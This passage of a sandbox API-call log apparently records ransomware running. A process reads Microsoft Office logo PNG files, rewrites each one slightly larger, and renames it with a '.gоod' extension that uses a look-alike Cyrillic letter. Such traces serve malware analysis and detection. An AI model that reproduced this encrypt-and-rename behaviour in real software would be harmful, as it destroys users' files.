Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x61 [0216.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0216.519] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3570148 | out: lpFileInformation=0x3570148*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x768)) returned 1 [0216.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0216.520] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x61 [0216.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0216.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0216.520] GetFileType (hFile=0x81c) returned 0x1 [0216.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0216.520] GetFileType (hFile=0x81c) returned 0x1 [0216.520] GetFileSize (in: hFile=0x81c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x768 [0216.520] ReadFile (in: hFile=0x81c, lpBuffer=0x3570c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3570c28*, lpNumberOfBytesRead=0x1fcee238*=0x768, lpOverlapped=0x0) returned 1 [0216.521] CloseHandle (hObject=0x81c) returned 1 [0216.532] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x61 [0216.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0216.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0216.534] GetFileType (hFile=0x81c) returned 0x1 [0216.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0216.534] GetFileType (hFile=0x81c) returned 0x1 [0216.534] WriteFile (in: hFile=0x81c, lpBuffer=0x35ecd08*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x35ecd08*, lpNumberOfBytesWritten=0x1fcee148*=0x770, lpOverlapped=0x0) returned 1 [0216.535] CloseHandle (hObject=0x81c) returned 1 [0216.535] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x61 [0216.535] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png.gоod", lpFilePart=0x0) returned 0x66 [0216.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0216.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d465a42, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x770)) returned 1 [0216.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0216.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-80.png.gоod")) returned 1 [0216.536] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x62 [0216.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0216.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x35ee040 | out: lpFileInformation=0x35ee040*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x908)) returned 1 [0216.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0216.536] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x62 [0216.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0216.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0216.536] GetFileType (hFile=0x81c) returned 0x1 [0216.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0216.536] GetFileType (hFile=0x81c) returned 0x1 [0216.536] GetFileSize (in: hFile=0x81c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x908 [0216.536] ReadFile (in: hFile=0x81c, lpBuffer=0x35eecc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x35eecc0*, lpNumberOfBytesRead=0x1fcee238*=0x908, lpOverlapped=0x0) returned 1 [0217.152] CloseHandle (hObject=0x81c) returned 1 [0217.184] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x62 [0217.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0217.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0217.185] GetFileType (hFile=0x81c) returned 0x1 [0217.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0217.185] GetFileType (hFile=0x81c) returned 0x1 [0217.185] WriteFile (in: hFile=0x81c, lpBuffer=0x3589e68*, nNumberOfBytesToWrite=0x910, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3589e68*, lpNumberOfBytesWritten=0x1fcee148*=0x910, lpOverlapped=0x0) returned 1 [0217.186] CloseHandle (hObject=0x81c) returned 1 [0217.186] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x62 [0217.186] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png.gоod", lpFilePart=0x0) returned 0x67 [0217.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0217.187] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7daa7fd0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x910)) returned 1 [0217.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0217.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-100.png.gоod")) returned 1 [0217.188] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x62 [0217.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0217.188] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x358b1a0 | out: lpFileInformation=0x358b1a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc16)) returned 1 [0217.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0217.188] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x62 [0217.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0217.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0217.188] GetFileType (hFile=0x81c) returned 0x1 [0217.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0217.188] GetFileType (hFile=0x81c) returned 0x1 [0217.188] GetFileSize (in: hFile=0x81c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xc16 [0217.188] ReadFile (in: hFile=0x81c, lpBuffer=0x358c130, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x358c130*, lpNumberOfBytesRead=0x1fcee238*=0xc16, lpOverlapped=0x0) returned 1 [0217.804] CloseHandle (hObject=0x81c) returned 1 [0217.884] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x62 [0217.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0217.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0217.886] GetFileType (hFile=0x478) returned 0x1 [0217.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0217.886] GetFileType (hFile=0x478) returned 0x1 [0217.886] WriteFile (in: hFile=0x478, lpBuffer=0x35de690*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x35de690*, lpNumberOfBytesWritten=0x1fcee148*=0xc20, lpOverlapped=0x0) returned 1 [0217.887] CloseHandle (hObject=0x478) returned 1 [0217.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x62 [0217.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png.gоod", lpFilePart=0x0) returned 0x67 [0217.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0217.887] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7e15c8d8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc20)) returned 1 [0217.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0217.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-140.png.gоod")) returned 1 [0217.888] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x62 [0217.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0217.888] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x35df9c8 | out: lpFileInformation=0x35df9c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf5f)) returned 1 [0217.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0217.888] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x62 [0217.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0217.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0217.889] GetFileType (hFile=0x478) returned 0x1 [0217.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0217.889] GetFileType (hFile=0x478) returned 0x1 [0217.889] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xf5f [0217.889] ReadFile (in: hFile=0x478, lpBuffer=0x35e0ca0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x35e0ca0*, lpNumberOfBytesRead=0x1fcee238*=0xf5f, lpOverlapped=0x0) returned 1 [0218.460] CloseHandle (hObject=0x478) returned 1 [0218.472] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x62 [0218.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0218.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0219.190] GetFileType (hFile=0x864) returned 0x1 [0219.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0219.190] GetFileType (hFile=0x864) returned 0x1 [0219.190] WriteFile (in: hFile=0x864, lpBuffer=0x36cf218*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x36cf218*, lpNumberOfBytesWritten=0x1fcee148*=0xf60, lpOverlapped=0x0) returned 1 [0220.157] CloseHandle (hObject=0x864) returned 1 [0220.157] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x62 [0220.157] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png.gоod", lpFilePart=0x0) returned 0x67 [0220.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0220.195] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7f7005fe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf60)) returned 1 [0220.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0220.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-180.png.gоod")) returned 1 [0220.196] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x61 [0220.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0220.196] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3837398 | out: lpFileInformation=0x3837398*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79a)) returned 1 [0220.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0220.197] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x61 [0220.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0220.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0220.197] GetFileType (hFile=0x864) returned 0x1 [0220.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0220.197] GetFileType (hFile=0x864) returned 0x1 [0220.197] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x79a 